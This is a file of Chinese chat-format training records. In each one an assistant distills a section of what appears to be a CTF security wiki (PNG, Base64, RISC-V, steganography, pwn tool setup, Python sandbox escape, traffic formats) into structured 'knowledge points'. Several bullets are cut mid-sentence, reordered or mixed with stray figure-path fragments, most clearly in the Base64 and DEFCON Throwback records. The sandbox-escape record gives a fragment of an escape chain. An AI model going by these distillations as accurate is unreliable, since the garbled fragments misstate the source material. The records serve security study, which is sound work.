- 图像数据块 IDAT（image data chunk）：它存储实际的数据，在数据流中可包含多个连续顺序的图像数据块。

关键术语：
- 漏洞利用
- misc
- picture
- png.md
- code:shell
- code:python

代码/命令片段线索：
- shell: 16 行，首行 `λ .\pngcheck.exe -v sctf.png`
- python: 3 行，首行 `IDAT = "789...667".decode('hex')`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

IDAT

漏洞利用 misc picture png.md code:shell code:python

PNG


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/encode/computer.md` 中的章节「Base 编码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/encode/computer.md`
标题：计算机相关的编码
章节：计算机相关的编码 > Base 编码
路径分类：misc / misc/encode/computer.md
分块：1/1

核心知识点：
- 本节主题围绕“Base 编码”展开。
- 3个字节就有 24 个比特，对应于 4 个 Base64 单元，即 3 个字节需要用 4 个可打印字符来表示。
- 文件: ./figure/base64_man.png] 如果要编码的字节数不能被 3 整除，最后会多出 1 个或 2 个字节，那么可以使用下面的方法进行处理：先使用 0 值在末尾补足，使其能够被 3 整除，然后再进行 base64 的编码。
- 文件: ./figure/base64_0.png] 由于解码时补位的 0 并不参与运算，可以在该处隐藏信息。
- base xx 中的 xx 表示的是采用多少个字符进行编码，比如说 base64 就是采用以下 64 个字符编码，由于 2 的 6 次方等于 64，所以每 6 个比特为一个单元，对应某个可打印字符。
- 在 Base64 中的可打印字符包括字母 A-Z、a-z、数字 0-9，这样共有 62 个字符，此外两个可打印符号在不同的系统中而不同。

关键术语：
- misc
- encode
- computer.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Base 编码

计算机相关的编码
Base 编码

计算机相关的编码


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/http.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/http.md`
标题：HTTP
章节：HTTP > 例题
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- > 题目：江苏省领航杯-2017：hack 总体观察可以得出: - HTTP为主 - 192.168.173.134为主 - 不存在附件 [图片: linghang_hack;

关键术语：
- SQL注入
- misc
- traffic
- protocols
- http.md
- code:python

代码/命令片段线索：
- python: 12 行，首行 `with open('log') as f:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

SQL注入 misc traffic protocols http.md code:python

HTTP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（7）特殊系统调用指令（环境交互）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x03 常见指令 > （7）特殊系统调用指令（环境交互）
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（7）特殊系统调用指令（环境交互）”展开。
- | 指令 | 含义 | 示例 | 说明 | |----------|-------------------------|----------------------------|----------------------------------| | ecall | 环境调用（系统调用） | ecall | 触发环境调用异常 | | ebreak | 调试断点 | ebreak | 触发调试异常 |

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（7）特殊系统调用指令（环境交互）

Risc-V
0x03 常见指令
（7）特殊系统调用指令（环境交互）

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/audio/introduction.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/audio/introduction.md`
标题：音频隐写
章节：音频隐写 > MP3 隐写 > 原理
路径分类：misc / misc/audio/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- The data is first compressed, encrypted and then hidden in the MP3 bit stream.
- ``shell encode -E hidden_text.txt -P pass svega.wav svega_stego.mp3 decode -X -P pass svega_stego.mp3 ``
- MP3隐写主要是使用 Mp3Stego 工具进行隐写，其基本介绍及使用方法如下 > MP3Stego will hide information in MP3 files during the compression process.

关键术语：
- 密码学
- misc
- audio
- introduction.md
- code:shell

代码/命令片段线索：
- shell: 2 行，首行 `encode -E hidden_text.txt -P pass svega.wav svega_stego.mp3`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

音频隐写
MP3 隐写
原理

音频隐写


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「安装 peda」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 安装 peda
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“安装 peda”展开。
- peda 是一个强大的 GDB 插件，通过该插件我们可以在调试时很方便地查看运行环境以及获取堆内存布局等信息。
- > 注：peda 和 pwndbg 你只需要安装其中之一，由于功能重复，且为了避免插件冲突，我们并不推荐你同时安装这两个插件。
- peda 插件无需过多配置，我们只需要将源码下载到本地后更新 gdb 配置即可。
- ``shell git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit echo "DONE!
- debug your program with gdb and enjoy" ``

关键术语：
- 堆
- pwn
- linux
- user-mode
- environment.md
- code:shell

代码/命令片段线索：
- shell: 3 行，首行 `git clone https://github.com/longld/peda.git ~/peda`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

安装 peda

pwn-related tools
在本地直接搭建 CTF Pwn 做题环境
安装 peda

堆 pwn linux user-mode environment.md code:shell

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/discover.md` 中的章节「基于工控组态软件的组件扫描方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/discover.md`
标题：ICS_CTF 发现
章节：ICS_CTF 发现 > 工控扫描脚本 > 基于工控组态软件的组件扫描方法
路径分类：ics / ics/discover.md
分块：1/1

核心知识点：
- 本节主题围绕“基于工控组态软件的组件扫描方法”展开。
- 各工控厂商往往自带组态软件，组态软件时连接当前内网内设备时可自主发现目标PLC设备 |端口|协议/设备|连接方法| |:-----|:------|:------| |102(TCP)|siemens s7|西门子软件Step7 自带扫描当前网段PLC设备功能| |502(TCP)|modbus|施耐德SoMachine Basic 连接PLC设备自带扫描内网网段功能|

关键术语：
- ics
- discover.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基于工控组态软件的组件扫描方法

ICS_CTF 发现
工控扫描脚本
基于工控组态软件的组件扫描方法

ICS_CTF 发现


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/usb.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/usb.md`
标题：USB
章节：USB > 简介
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- 第二个字节可以看成是一个signed byte类型，其最高位为符号位，当这个值为正时，代表鼠标水平右移多少像素，为负时，代表水平左移多少像素。
- USB详述: https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf - 鼠标协议 鼠标移动时表现为连续性，与键盘击键的离散性不一样，不过实际上鼠标动作所产生的数据包也是离散的，毕竟计算机表现的连续性信息都是由大量离散信息构成的 [图片: mouse;
- 文件: ./figure/mouse.png] 每一个数据包的数据区有四个字节，第一个字节代表按键，当取0x00时，代表没有按键、为0x01时，代表按左键，为0x02时，代表当前按键为右键。
- 得到这些点的信息后,即可恢复出鼠标移动轨迹 - Tools - UsbMiceDataHacker - 键盘协议 键盘数据包的数据长度为8个字节，击键信息集中在第3个字节 [图片: keyboard;
- 文件: ./figure/keyboard.png] 根据data值与具体键位的对应关系 [图片: keyboard_pro;

关键术语：
- misc
- traffic
- protocols
- usb.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

USB


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/integeroverflow/introduction.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/integeroverflow/introduction.md`
标题：整数溢出
章节：整数溢出 > 介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“介绍”展开。
- 在C语言中，整数的基本数据类型分为短整型(short)，整型(int)，长整型(long)，这三个数据类型还分为有符号和无符号，每种数据类型都有各自的大小范围，(因为数据类型的大小范围是编译器决定的，所以之后所述都默认是 64 位下使用 gcc-5.4)，如下所示:
- | 类型 | 字节 | 范围 | | :-: | :-: | :-: | | short int | 2byte(word) | 0\~32767(0\~0x7fff)
 -32768\~-1(0x8000\~0xffff) | | unsigned short int | 2byte(word) | 0\~65535(0\~0xffff) | | int | 4byte(dword) | 0\~2147483647(0\~0x7fffffff)
 -2147483648\~-1(0x8000...
- 当程序中的数据超过其数据类型的范围，则会造成溢出，整数类型的溢出被称为整数溢出。

关键术语：
- 边界/溢出
- pwn
- linux
- user-mode
- integeroverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

介绍

边界/溢出 pwn linux user-mode integeroverflow

整数溢出


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「将 Docker 容器接入本地图形界面」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools > 将 Docker 容器接入本地图形界面
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“将 Docker 容器接入本地图形界面”展开。
- pwntools 自带的调试命令 gdb.attach() 需要创建新的窗口，而在容器中直接运行会失败，因此我们需要为容器接入本地的图形服务，以达成原生的运行效果（直接弹出一个新的窗口）。
- > 若是觉得这种办法比较麻烦，也可以选择使用 tmux 配置多窗口，只需在运行 gdb.attach() 命令前运行 context.terminal = ['tmux', 'splitw', '-h'] 即可。

关键术语：
- pwn
- linux
- user-mode
- environment.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

将 Docker 容器接入本地图形界面

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「0x04 调用规约」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x04 调用规约
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“0x04 调用规约”展开。
- 栈帧结构图（RISC-V ABI 栈帧） ``text 高地址 │ │ +-----------------------------+ │ | 需要保存的寄存器 | │ +-----------------------------+ │ | 超过寄存器传参的参数 > a7/fa7 | │ +-----------------------------+ │ | 返回地址 (ra) │ │ +-----------------------------+ │ | 局部变量 | │ +----------------...

关键术语：
- 栈
- assembly
- risc-v
- readme.md
- code:text

代码/命令片段线索：
- text: 13 行，首行 `高地址`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

0x04 调用规约

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「创建对象以及引用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`
标题：Python 沙盒
章节：Python 沙盒 > Python 沙箱逃逸的一些方法 > 创建对象以及引用
路径分类：pwn / pwn/sandbox/python
分块：1/1

核心知识点：
- 本节主题围绕“创建对象以及引用”展开。
- Python 的 object 类中集成了很多的基础函数，我们想要调用的时候也是可以通过创建对象进而引用。

关键术语：
- 漏洞利用
- pwn
- sandbox
- python
- python-sandbox-escape.md
- code:bash
- code:py

代码/命令片段线索：
- bash: 2 行，首行 `().__class__.__bases__[0]`
- py: 6 行，首行 `#读文件`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

创建对象以及引用

Python 沙盒
Python 沙箱逃逸的一些方法
创建对象以及引用

漏洞利用 pwn sandbox python python-sandbox-escape.md code:bash code:py

Python 沙盒


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「安装 pwntools」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 安装 pwntools
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“安装 pwntools”展开。
- pwntools 是一个强大的 Python 软件包，其为我们提供了基本的 pwn 脚本编写环境，以及各类方便的利用工具，在安装好 Python 以及 pip 之后你可以很方便地使用如下指令进行安装： ``shell python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools ` 之后在 Python 中便能很方便地通过 from pwn import * 指令使用该包中的各类工具，你也可以使用 from pwn...

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- environment.md
- code:shell

代码/命令片段线索：
- shell: 2 行，首行 `python3 -m pip install --upgrade pip`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

安装 pwntools

pwn-related tools
在本地直接搭建 CTF Pwn 做题环境
安装 pwntools

漏洞利用 pwn linux user-mode environment.md code:shell

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/false-disasm.md` 中的章节「解决方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/false-disasm.md`
标题：False Disassembly
章节：False Disassembly > 解决方法
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“解决方法”展开。
- (near + 0x1) 08048085 DB E9 Label_08048086: 08048086 B8 01 F0 00 00 mov eax, 0xF001 ;
- 看起来最直接的方法就是将这个无用的0xE9用十六进制编辑器手动替换成0x90. 但是如果程序有进行文件校验, 计算checksum值, 那么这个方法就行不通了. 所以更好的解决办法是使用如IDA或类似有做控制流分析的反汇编器, 对于同样有问题的程序. 反汇编结果可能如下: `` ---- section .text ----: 08048080 E9 01 00 00 00 jmp Label_08048086 ;
- xref ( 08048080 ) `` 反汇编结果看上去还行

关键术语：
- reverse
- platform
- linux
- false-disasm.md

代码/命令片段线索：
- plain: 8 行，首行 `---- section .text ----:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

解决方法

False Disassembly


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/encode/computer.md` 中的章节「2018 DEFCON Quals ghettohackers: Throwback」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/encode/computer.md`
标题：计算机相关的编码
章节：计算机相关的编码 > ASCII 编码 > 2018 DEFCON Quals ghettohackers: Throwback
路径分类：misc / misc/encode/computer.md
分块：1/1

核心知识点：
- 本节主题围绕“2018 DEFCON Quals ghettohackers: Throwback”展开。
- ` 第一直觉应该是我们去补全这些叹号对应的内容，从而得到 flag，但是补全后并不行，那么我们可以把源字符串按照 !
- ') print repr(''.join(chr(97 + len(s) - 1) for s in sp)) ` 进而可以得到，这里同时需要假设 0 个字符为空格。
- 分割，然后字符串长度 1 对应字母a，长度 2 对应字母 b，以此类推 `shell ori = 'Anyo!

关键术语：
- misc
- encode
- computer.md
- code:shell

代码/命令片段线索：
- plain: 1 行，首行 `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`
- shell: 3 行，首行 `ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'`
- shell: 1 行，首行 `dark logic`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

2018 DEFCON Quals ghettohackers: Throwback

计算机相关的编码


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/dns.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/dns.md`
标题：DNS
章节：DNS > 简介
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- ``sh +-------------------------------+ | 报文头 | +-------------------------------+ | 问题 (向服务器提出的查询部分) | +-------------------------------+ | 回答 (服务器回复的资源记录) | +-------------------------------+ | 授权 (权威的资源记录) | +-------------------------------+ | 额外的 (额外的资源记录)...
- 查询包只有头部和问题两个部分， DNS 收到查询包后，根据查询到的信息追加回答信息、授权机构、额外资源记录，并且修改了包头的相关标识再返回给客户端。
- `` 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | | / QNAME / / / +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QTYPE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QCLASS | +--+--+--+--+--+--+--+--+--+--+--...
- - QNAME ：为查询的域名，是可变长的，编码格式为：将域名用.号划分为多个部分，每个部分前面加上一个字节表示该部分的长度，最后加一个 0 字节表示结束 - QTYPE ：占 16 位，表示查询类型，共有 16 种，常用值有：1 ( A 记录，请求主机 IP 地址)、2 ( NS ，请求授权 DNS 服务器)、5 ( CNAME 别名查询)

关键术语：
- misc
- traffic
- protocols
- dns.md
- code:sh

代码/命令片段线索：
- sh: 11 行，首行 `+-------------------------------+`
- plain: 10 行，首行 `0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

DNS


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/fix.md` 中的章节「Section Header BlocK(文件头)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/fix.md`
标题：PCAP 文件修复
章节：PCAP 文件修复 > 常见块 > Section Header BlocK(文件头)
路径分类：misc / misc/traffic/fix.md
分块：1/1

核心知识点：
- 本节主题围绕“Section Header BlocK(文件头)”展开。
- ``shell 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Byte-Order Magic (0x1A2B3C4D) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Major Ver...

关键术语：
- misc
- traffic
- fix.md
- code:shell

代码/命令片段线索：
- shell: 15 行，首行 `0 1 2 3`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Section Header BlocK(文件头)

PCAP 文件修复


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/archive/zip.md` 中的章节「文件结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/archive/zip.md`
标题：ZIP 格式
章节：ZIP 格式 > 文件结构
路径分类：misc / misc/archive/zip.md
分块：1/1

核心知识点：
- 本节主题围绕“文件结构”展开。
- 每个文件 entry 则有 Local File Header 和对应的 Central Directory Header。
- 一个普通 ZIP archive 在末尾通常有一个 EOCD，用于描述中央目录；

关键术语：
- misc
- archive
- zip.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

文件结构

ZIP 格式


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/encode/computer.md` 中的章节「coding=utf-8」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/encode/computer.md`
标题：计算机相关的编码
章节：coding=utf-8
路径分类：misc / misc/encode/computer.md
分块：1/1

核心知识点：
- 本节主题围绕“coding=utf-8”展开。
- ` [FLAG_PREFIX]BASE64_i5_amaz1ng~ ``

关键术语：
- misc
- encode
- computer.md

代码/命令片段线索：
- plain: 1 行，首行 `感觉像是程序有点毛病，不过还是能看出来 flag。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

coding=utf-8

计算机相关的编码


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/prefix.md` 中的章节「前置技能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/prefix.md`
标题：取证隐写前置技术
章节：取证隐写前置技术 > 前置技能
路径分类：misc / misc/prefix.md
分块：1/1

核心知识点：
- 本节主题围绕“前置技能”展开。
- 能够利用脚本语言（Python 等）去操作二进制数据 - 熟知常见文件的文件格式，尤其是各类 文件头、协议、结构等 - 灵活运用常见的工具
- 了解常见的编码 能够对文件中出现的一些编码进行解码，并且对一些特殊的编码（Base64、十六进制、二进制等）有一定的敏感度，对其进行转换并得到最终的 flag。

关键术语：
- 漏洞利用
- misc
- prefix.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

前置技能

取证隐写前置技术 前置技能

取证隐写前置技术


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/prefix.md` 中的章节「binwalk 命令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/prefix.md`
标题：取证隐写前置技术
章节：取证隐写前置技术 > 常用工具 > binwalk 命令
路径分类：misc / misc/prefix.md
分块：1/1

核心知识点：
- 本节主题围绕“binwalk 命令”展开。
- `shell root in ~/Desktop/tmp λ dd if=flag of=1.zip bs=1 skip=25683 431726+0 records in 431726+0 records out 431726 bytes (432 kB, 422 KiB) copied, 0.900973 s, 479 kB/s ``
- binwalk 本是一个固件的分析工具，比赛中常用来发现多个文件粘合再在一起的情况。
- 根据文件头去识别一个文件中夹杂的其他文件，有时也会存在误报率（尤其是对Pcap流量包等文件时）。

关键术语：
- misc
- prefix.md
- code:shell

代码/命令片段线索：
- shell: 8 行，首行 `root in ~/Desktop/tmp λ binwalk flag`
- shell: 4 行，首行 `root in ~/Desktop/tmp λ dd if=flag of=1.zip bs=1 skip=25683`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

binwalk 命令

取证隐写前置技术
常用工具
binwalk 命令

取证隐写前置技术


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（3）加载指令（I 形）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x03 常见指令 > （3）加载指令（I 形）
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（3）加载指令（I 形）”展开。
- | 指令 | 含义 | 示例 | 说明 | |--------|----------------------|------------------------|--------------------------------| | lb | 加载字节（有符号） | lb x5, 0(x1) | 从 x1 指向的地址读 1 字节，符号扩展到 x5 | | lbu | 加载字节（无符号） | lbu x5, 0(x1) | 零扩展 | | lh | 加载半字（16 位） | lh x5, 2(x1) | 符号扩展...

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（3）加载指令（I 形）

Risc-V
0x03 常见指令
（3）加载指令（I 形）

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

